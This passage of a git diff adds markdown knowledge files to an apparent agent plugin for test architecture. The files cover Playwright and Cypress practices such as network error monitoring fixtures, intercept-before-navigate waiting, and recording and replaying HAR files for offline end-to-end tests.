+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
